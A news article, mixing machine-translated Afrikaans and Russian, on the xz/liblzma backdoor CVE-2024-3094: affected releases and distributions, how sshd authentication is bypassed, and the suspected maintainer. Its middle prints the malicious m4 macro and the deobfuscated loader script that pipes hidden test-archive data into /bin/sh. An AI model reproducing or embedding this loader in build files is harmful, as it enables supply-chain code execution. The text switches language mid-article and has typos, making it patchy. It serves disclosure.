'n Agterdeur is in die xz/liblzma-biblioteek ontdek wat toegang via sshd moontlik maak

In die XZ Utils-pakket, wat die liblzma-biblioteek en nutsprogramme insluit om met saamgeperste data in die ".xz"-formaat te werk, is 'n agterdeur (CVE-2024-3094) geïdentifiseer wat die onderskepping en wysiging van data moontlik maak wat deur toepassings geassosieer word. met die liblzma-biblioteek. Die hoofdoel van die agterdeur is die OpenSSH-bediener, wat in sommige verspreidings saam met die libsystemd-biblioteek gebundel word, wat op sy beurt liblzma gebruik. Deur sshd met 'n kwesbare biblioteek te koppel, kan aanvallers toegang tot die SSH-bediener kry sonder verifikasie.

Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию 5.4.6.

Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию zx, но не подвержены атаке, так как не применяют к openssh патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc.

Die agterdeur-aktiveringskode is versteek in m4-makro's van die build-to-host.m4-lêer wat deur die outomaker-nutsmiddelstel gebruik word wanneer dit gebou word. Tydens samestelling, tydens die uitvoering van ingewikkelde verduisterde bewerkings gebaseer op argiewe (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), wat gebruik is om die korrektheid van operasie te toets, is 'n objeklêer met kwaadwillige kode gegenereer, wat ingesluit is in die liblzma-biblioteek en het die operasielogika sommige van sy funksies verander. Agterdeur-aktiverende m4-makro's is by die vrystellingtarballe ingesluit, maar was nie in die Git-bewaarplek nie. Terselfdertyd was kwaadwillige toetsargiewe in die bewaarplek aanwesig, m.a.w. die persoon wat die agterdeur geïmplementeer het, het toegang gehad tot beide die bewaarplek en die vrystellinggenereringsprosesse.

Wanneer liblzma in toepassings gebruik word, kan kwaadwillige veranderinge gebruik word om data te onderskep of te wysig, of om die werking van sshd te beïnvloed. Die kwaadwillige kode het veral die RSA_public_decrypt-funksie bedrieg om die sshd-verifikasieproses te omseil. Die agterdeur het beskerming teen opsporing ingesluit en het nie gemanifesteer toe die LANG- en TERM-omgewingsveranderlikes gestel is nie (d.w.s. wanneer die proses in die terminaal uitgevoer word) en die LD_DEBUG- en LD_PROFILE-omgewingsveranderlikes nie gestel is nie, en is ook net geaktiveer wanneer die /usr/sbin/sshd uitvoerbare lêer . Die agterdeur het ook 'n manier gehad om uitvoering in ontfoutomgewings op te spoor.

Die m4/build-to-host.m4-lêer het veral gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / gebruik null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 — Jia Tan), разместивший в репозитории архивы с вредоносным кодом, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0, и не вызвал подозрений, так как участвовал в разработке xz на протяжении последних двух лет и является вторым разработчиком по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэёнтейнеров проекта XZ Embedded, используемого в ядре Linux.

Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии zx 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки «-fsanitize=address», что привело к его отключению при fuzzing-тестировании.

Bron: opennet.ru

Koop betroubare hosting vir werwe met DDoS-beskerming, VPS VDS-bedieners 🔥 Koop betroubare webwerfhosting met DDoS-beskerming, VPS VDS-bedieners | ProHoster